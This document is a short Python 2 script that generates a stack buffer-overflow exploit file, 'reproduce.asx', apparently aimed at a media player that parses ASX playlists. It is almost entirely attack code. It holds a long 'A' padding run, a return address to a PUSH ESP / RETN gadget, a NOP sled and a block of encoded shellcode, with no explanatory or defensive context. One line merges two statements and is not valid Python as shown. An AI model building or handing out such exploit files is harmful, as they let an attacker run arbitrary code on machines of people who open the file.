Buffer-Overflow Python script

#!/usr/bin/python

#1003DF73 54 PUSH ESP

#1003DF74 C3 RETN

buf = "" buf += "\xdd\xc0\xd9\x74\x24\xf4\xbf\x34\xb3\x89\x17\x5d\x31"

buf += "\xc9\xb1\x31\x31\x7d\x17\x03\x7d\x17\x83\xd9\x4f\x6b"

buf += "\xe2\xdd\x58\xee\x0d\x1d\x99\x8f\x84\xf8\xa8\x8f\xf3"

buf += "\x89\x9b\x3f\x77\xdf\x17\xcb\xd5\xcb\xac\xb9\xf1\xfc"

buf += "\x05\x77\x24\x33\x95\x24\x14\x52\x15\x37\x49\xb4\x24"

buf += "\xf8\x9c\xb5\x61\xe5\x6d\xe7\x3a\x61\xc3\x17\x4e\x3f"

buf += "\xd8\x9c\x1c\xd1\x58\x41\xd4\xd0\x49\xd4\x6e\x8b\x49"

buf += "\xd7\xa3\xa7\xc3\xcf\xa0\x82\x9a\x64\x12\x78\x1d\xac"

buf += "\x6a\x81\xb2\x91\x42\x70\xca\xd6\x65\x6b\xb9\x2e\x96"

buf += "\x16\xba\xf5\xe4\xcc\x4f\xed\x4f\x86\xe8\xc9\x6e\x4b"

buf += "\x6e\x9a\x7d\x20\xe4\xc4\x61\xb7\x29\x7f\x9d\x3c\xcc"

buf += "\xaf\x17\x06\xeb\x6b\x73\xdc\x92\x2a\xd9\xb3\xab\x2c"

buf += "\x82\x6c\x0e\x27\x2f\x78\x23\x6a\x3a\x7f\xb1\x11\x08"

buf += "\x7f\xc9\x19\x3d\xe8\xf8\x92\xd2\x6f\x05\x71\x97\x80"

buf += "\x4f\xdb\xbe\x08\x16\x8e\x82\x54\xa9\x65\xc0\x60\x2a"

buf += "\x8f\xb9\x96\x32\xfa\xbc\xd3\xf4\x17\xcd\x4c\x91\x17"

buf += "\x62\x6c\xb0\x74\xe9\xf6\x15\x1f\x89\x93\x69"

buff = "http://"

buff += "A" * 17417

buff += "\x73\xDF\x03\x10"

buff += "\x90" * 16

buff += buf

buff += "C" * (20000-17417-4-16-219)

f=open("reproduce.asx","w")

try:

f.write (buff)

f.close()

print "File Created"

except:

print "File can not be created"

#badchars = \x00,\x0a

Last updated